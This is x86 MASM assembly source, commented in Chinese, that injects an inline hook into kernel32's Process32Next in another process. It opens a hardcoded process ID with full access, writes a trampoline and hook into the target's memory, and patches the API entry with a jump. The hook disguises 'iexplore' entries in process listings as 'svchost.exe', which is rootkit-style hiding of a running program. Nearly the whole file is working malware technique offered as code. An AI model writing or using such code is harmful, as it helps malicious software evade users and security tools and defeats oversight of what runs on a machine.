.586 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include shell32.inc includelib shell32.lib
CTEXT MACRO y:VARARG LOCAL sym CONST segment ifidni <y>,<> sym db 0 else sym db y,0 endif CONST ends exitm <offset sym> ENDM
.data kernel32 db 'kernel32.dll',0 P32First db 'Process32Next',0 inline db 'Hook Process32Next Hide Process:)',0 sztext db '.text ',0 VirtualAddress dd 0 JMPCODE db 0E9h,010h,10H,10H,10H,0 JMPCODE2 db 0E9h,010h,10H,10H,10H,0 HookFunBuf db 256 dup (?) .code GetSectionAddr proc lpBaseAddr ;通过分析PE文件得到相应的.text节的虚拟偏移 local @szBuffer[1024]:byte,@szSectionName[16]:byte LOCAL VirtualSize:dword pushad mov esi,lpBaseAddr ;BaseAddr,IMAGE_DOS_SIGNATURE assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew ;+3c mov edi,esi ;pe头.IMAGE_NT_HEADERS assume edi:ptr IMAGE_NT_HEADERS movzx ecx,[edi].FileHeader.NumberOfSections ;段数 add edi,sizeof IMAGE_NT_HEADERS ;段大小 assume edi:ptr IMAGE_SECTION_HEADER .repeat push ecx invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName push esi ;PE头 push edi ;段名 mov ecx,8 mov esi,edi lea edi,@szSectionName cld @@: lodsb .if ! al mov al,' ' .endif stosb loop @B pop edi ;段名 pop esi ;PE头 invoke lstrcmpi,CTEXT(".text "),addr @szSectionName ;在段名中查找.text段 .if eax==0 push [edi].Misc.VirtualSize pop ecx push [edi].VirtualAddress pop eax add eax,lpBaseAddr ret .endif pop ecx .untilcxz assume edi:nothing assume esi:nothing popad ret GetSectionAddr endp
;得到相应进程的模块加载的起始地址 GetShell32Base proc uses ebx esi edi remoteproid LOCAL hSnapshot:dword LOCAL modinfo:MODULEENTRY32 LOCAL modname[256]:byte mov modinfo.dwSize,sizeof MODULEENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid mov hSnapshot,eax invoke Module32First,hSnapshot,addr modinfo .while eax lea ecx,modinfo.szModule invoke lstrcmpi,offset kernel32,ecx .if eax == 0 mov eax,modinfo.modBaseAddr ret .endif invoke Module32Next,hSnapshot,addr modinfo .endw invoke CloseHandle,hSnapshot ret GetShell32Base endp InlineHook proc LOCAL hProcess:dword LOCAL hKernel32:dword LOCAL hAPI:dword LOCAL PID:dword LOCAL ModBase:dword LOCAL OLDpro:dword LOCAL CodeBuf[128]:byte LOCAL optable[2048]:byte LOCAL codelen:dword LOCAL APIoffset:dword LOCAL hAPI2:dword LOCAL pHookFun:dword LOCAL hooklen1:dword LOCAL hookfunlen:dword lea eax,optable push eax call disasm_init ;解压缩'指令长度表' invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址 mov hKernel32,eax invoke GetSectionAddr,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移 mov VirtualAddress,eax ;一般为1000h invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址 mov hAPI,eax mov eax,hKernel32 add eax,VirtualAddress ;得到代码节起始地址 mov ecx,hAPI sub ecx,eax ;函数入口相对于代码节的偏移 mov APIoffset,ecx invoke GetCurrentProcessId mov PID,eax mov eax,9504 mov PID,eax invoke GetShell32Base,eax mov ModBase,eax ;得到目标进程DLL的基地址 add eax,VirtualAddress ;得到目标进程DLL的代码节基地址 add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址 mov hAPI2,eax invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID mov hProcess,eax invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0 lea esi,CodeBuf xor edi,edi @@nextcode: push esi lea eax,optable push eax call disasm_main .if eax !=-1 add edi,eax .if edi>=5 mov codelen,edi ;codelne记录应该COPY的代码字节数 jmp @@findok .else add esi,eax jmp @@nextcode .endif .else xor eax,eax ret .endif @@findok: ;写HOOK函数到目标进程DLL的空闲空间中 mov eax,ModBase add eax,VirtualAddress sub eax,512 mov pHookFun,eax invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro ;计算偏移 mov ecx,@@hookbeg mov eax,@@fakeret sub eax,ecx mov hooklen1,eax ;计算HOOK函数的全部代码长度 mov ecx,@@hookbeg mov eax,@@hookfunend sub eax,ecx mov hookfunlen,eax ;把HOOK函数从代码段移到变量中 mov eax,@@hookbeg invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分 invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0 ;移动被覆盖的原函数代码到目标内存中 mov ecx,pHookFun add ecx,hooklen1 sub ecx,21 invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0 ;跳回原函数 mov ecx,pHookFun add ecx,hooklen1 mov edx,ecx sub ecx,5 ;JMP指令的起始地址 mov eax,hAPI2 sub eax,edx add eax,codelen mov edx,offset JMPCODE2 inc edx mov [edx],eax invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0 ;移动真正的HOOK功能代码到目标内存中 mov ecx,pHookFun add ecx,hooklen1 mov eax,offset HookFunBuf add eax,hooklen1 mov edx,hookfunlen sub edx,hooklen1 invoke WriteProcessMemory,hProcess,ecx,eax,edx,0 ;设置跳转指令 mov eax,pHookFun sub eax,hAPI2 sub eax,5 mov ecx,offset JMPCODE inc ecx mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0 invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro invoke CloseHandle,hProcess invoke MessageBox,0,offset inline,offset inline,1 ret InlineHook endp @@hookbeg: push [esp+8] ;ARG2 有几个参数就ESP加几 push [esp+8] ;ARG1 jmp @@fakeret @@setret: somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令 somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令 @@fakeret: call @@setret ;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存 sub esp,8 pushad mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址 .if eax != ERROR_NO_MORE_FILES add edx,36 mov eax,[edx] mov ecx,[edx+4] .if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe mov eax,'hcvs' mov [edx],eax mov eax,'.tso' mov [edx+4],eax mov eax,' exe' mov [edx+8],eax .endif .endif popad add esp,8 ;跳回正常的返回地址 ret 8 ;参数个数*4 @@hookfunend: start: invoke MessageBoxA,0,offset inline,offset inline,1 invoke InlineHook invoke ExitProcess,0 include lde32bin.inc end start
|